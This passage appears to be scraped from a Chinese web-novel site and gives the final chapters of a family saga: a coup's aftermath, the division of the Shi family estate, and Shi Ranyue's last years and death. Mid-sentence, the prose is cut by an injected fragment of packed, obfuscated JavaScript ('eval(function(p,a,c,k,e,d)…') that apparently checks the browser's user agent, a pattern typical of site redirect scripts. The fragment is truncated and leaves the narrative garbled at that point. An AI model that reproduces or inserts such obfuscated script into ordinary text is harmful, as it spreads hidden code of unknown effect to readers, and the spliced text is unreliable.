洪拜落桓为太尉,以白束道为兵部侍郎,沈玄期为燕北节度使。 又以东海王方育从龙有功,封其为济王。 “这回便可以算是尘埃落定了罢?”飞絮端来一碗紫苏熟水,瞧着师婷欢是在看方才送来的官闻霰的信,面上还带着宽慰的笑意,飞絮便也跟着高兴起来。 “算是罢。咱们家的事大局已定,至于旁的,如今便轮不到我们来管了。” 那晚的惊险犹在眼前,师薇欢就在清和殿偏殿生产,殿内充斥着血的腥气和汗湿的感觉,来往侍候和接产的人熙熙攘攘混乱不堪,窗外杀声震天,刀剑与流矢似乎随时都会撕破脆弱的窗纸。 她紧握着袖中的匕首,详装镇定,浑身却被冷汗浸湿。 好在没过太久,便听得嘹亮的婴儿哭声响在刀枪剑戟的碰撞声中。来不及庆贺拖延,她与薄枝等人立刻将师薇欢与刚出世的孩子抱上准备好的软轿,接着便一把火点燃了清和殿。 火光与火光连成一片,身后浓烟滚滚,混杂着惊惶的惨叫与哀嚎,浑似地狱。她没有空闲去害怕,浑似木偶般只知道往宫外赶...... 好在师玘及时赶到了。 “如今只有西北门没什么布防,你们出了宫便向那边去,城墙下我留了人接应。待过了护城河再向东南走,到那边山下的观音庙歇脚。我与落桓谈妥便过去。” ——官闻霰在信中只说到他们一起为师薇欢的女儿起名作“师灵偃”后便戛然而止了。师婷欢想起来,这两个字是当年先生为她们取字时,师棠欢特意求先生为尚未归家的妹妹取的字。 “灵偃蹇兮姣服,芳菲菲兮满堂;五音纷兮繁会,君欣欣兮乐康。”她曾问过先生,这一句里明明有那么多旁的释义美好的字眼,譬如“芳菲”,又譬如“乐康”,又或者要和师棠欢的字“安歌”配对,也可用“浩倡”,为何非要取“灵偃”二字。 那据说在两个姑姑还不会背千字文时就在师家教书的老先生但笑不语,过后又打哈哈道:“左右来日你们及笄,侯爷与殿下还会再为你们取正式的字的,就像你们的姑姑们那样。” 师婷欢将信收好,看着那碗紫苏熟水皱了皱眉,道:“我不是说想吃冰酪吗?” “姑娘你昨晚还说腹痛,怎可再吃那些寒凉的东西?这紫苏熟水能行气宽中,也是可消暑的。” 师婷欢妥协,却瞟见窗下有人影晃动,心下了然,一边仍与飞絮扯着闲话,一边轻声挪步到窗前,扇柄敲到那头上,噙着笑意道:“你怎么又来偷听,先生昨日布置的那几道策论题都写完了么?” 燕伯祺揉着脑门站起身来,将写好的策论题恭敬奉上。 师婷欢看了看,颔首道:“不错,是又进益了。你如今进学虽不必‘头悬梁锥刺股’,却也要时时勤勉才好。那紫苏熟水,你也喝些,免得这些日子吃冰坏了肠胃。” 无论谁当政谁掌权,要想长治久安,依着如今的形势,早晚是要重开科举的。科举不似太学,不必依靠家世或举荐,只凭真才实学,若燕伯祺得中进士走上仕途,她便也可安心了。 她自觉为人母还算妥当。 只可惜送去易州的信迟迟没有回音,好容易等来师幼芷的回信,也只劝她勿要挂念,余下诸事皆不提,她一时半会儿也走不开身,只好常写信问安,聊表心意。 京城的宅院与家资,师薇欢除了从库房搬了几千两银子拿去各州赈灾放粮外,剩下的倒是一动未动,那钥匙如今也被师玘又寄给了师婷欢,说是日后师家几十年内便不还京了,城中那宅子和铺面还有京郊的田庄都地段绝佳,刚好卖给朝中新贵,至于宅中的金银物件便有劳师婷欢整理出来再给各家分配过去。 “沉州家有富余,京中诸财折银,劳请长姐自留一份,余下分至蒲城、逢州、易州与芜郡各处便是。” 于是姐妹几人便纷纷又得了一份迟到多年的“嫁妆”。 真正清点时又与从前看只看账面不同,师婷欢头一次真切地感觉到什么叫“家财浩荡”,虽说前些年时常入不敷出,但出的也仅仅是祖宗基业的冰山一角。想着这些财资有多少来源不明,师婷欢又觉得一个头似两个大。好容易忙完了这一遭,竟已入了冬。 到京南的庄子里清点时,恰逢大周县令的母亲病逝,她便在庄子里留了几日,赶着出丧时去参加丧仪,却未曾想竟在丧仪上遇见了许久不见的成居溪。 原来成居溪自从离开童府后,便回了轼县祖宅,经营了几处布庄。此次是因为县令母亲裴氏一族与成氏有亲,加上要回京城谈一笔生意,才前来祭奠。 “我记着裴氏族中有一个女儿嫁给了官氏的官戍甫,怎么如今一个官氏的人也不见?你们与他们家一向交好,也没有什么消息么?” 师婷欢摇头:“前些日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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午饭做了一条鱼,是早上在渔夫手上买来的,鲜嫩多汁,清蒸过后用调好的料汁一淋,配上新蒸的米饭再合适不过了。和那条鱼一起被买回来的还有十几只虾,这会儿还活蹦乱跳着。师冉月不会自己处理,准备待一会儿雨停了送到邻居家,托那个好心眼儿但爱唠叨的许阿妹帮她解决。 这般想着,她便先将那些虾放到了门旁,免得一会儿忘了,却看见端木玄老神在在地坐在门前的木椅上,眼睛里装进一幕雨。 “你也讨厌这梅雨是不是,由许?当年我们举家搬到逢州后,我才知道居然有这般连绵不断的雨,我便想着将来一定要回到没有梅雨的地方。慕州也时常下雨。只有京城,雨水适中。” 好在这场雨没有那么绵长。 师冉月将处理好的虾拎回来时,瞧见端木玄蜷在院子里的藤椅上又睡着了。他这些年清减了不少,瞧上去连一个文弱的书生也不如,完全看不出来原先竟是个能舞刀弄枪、领军杀敌的人了。 她叹了口气,将虾放到灶台边,才又出来道:“由许,你莫要总是因为嫌弃屋中狭小便睡在外面,你看看,这雨水都未干透呢,着凉了可怎么办?”又道:“这房子虽小,却也很舒适。何况我们也该讲些道理,既然不想再麻烦音儿他们,把他们赶出去自己住,我一个人怎么住得了原先那般大的宅子呢。何况你选的那个地方还在山里,出来一趟何其困难,雨天还容易摔倒——你就是因为这样才走的,怎么能怪我搬出来呢?” 说话间,雨又下了起来。院子外有两个小姑娘拿荷叶遮雨,跑得飞快。 “这样的天,吃上一碗热馄饨倒是正好。” 她也嘀咕着,拿帕子草草挡着雨,快步回了屋里。好在这院子也是巴掌点大,走的这几步路只在她的外裳上留下了几个零星的雨点。 她的手指越来越不灵活,自己切菜切虾又怕伤到手,只好“慢工出细活”。因为手指总是不经意间发抖,包馄饨这样原本该是很熟练的活计也慢了许多。馄饨出锅时,太阳又扒开了云层,只是染了暮色。檐下的雨水染上橘红色,一点一点滴落在房前的青石上,像是在敲着晚钟。 她望着窗外愈浓的暮色,淡笑道:“明天似乎能得一个晴日呢。” 端木玄讨厌归县的地方,除了山药不如京城和慕州的好吃,便是这里既享受着梅雨,又能吹到不远处的海风。空气里总是湿润和咸腥的,连带着衣裳和被褥也都被沾染上了。 于是他们总是盼着能在夏季里得一个响晴的天,将被褥衣裳一并拿出去晒干。 端木玄还曾瞧着她看着喜欢的衣裳不能晒干时发愁的样子取笑道:“可惜如今我们坐吃山空,不然这衣裳便扔了再做一件就好了。” “后悔吗,容琯?”他常这样问。 她摇头。 即便想到那三个亲生的孩子,她也仍然不后悔。 她会带着愧疚走完不知还有多久的余生,但永远喜欢着,这般终于只属于她的日子。就像端木玄一样。 偶尔端木玄不在的时候,她闲来静坐,看着窗外一群群鸟儿落在院子里,啄食她撒下的米粒。远山缥缈着,棱角全然隐在雾气中,常年也看不见山顶。她觉得前所未有的轻盈,懂事以来令她沉重地匍匐在世上的一切都离她而去了,她所剩下的只有她自己。 即便时常有人会来她这里做客,邻家的许阿妹和她的小女儿燕燕,时而消瘦着时而又恢复了年轻模样的端木玄,还有她料想到的料想不到的许多人。 在只属于她的世界里,太阳一步一步落入山间。 大祐二年五月,师婷欢来到了归县。 给她送信的许氏帮她一起为师冉月收殓,再由她一人将她埋葬回逢州的祖坟,在师吟月的坟旁。 不远处还有一座半新不旧的坟,属于在回元元年岁末死去的端木萌,和在今年元月死去的师霖。 她回到京城时,端午已经过了。 (完)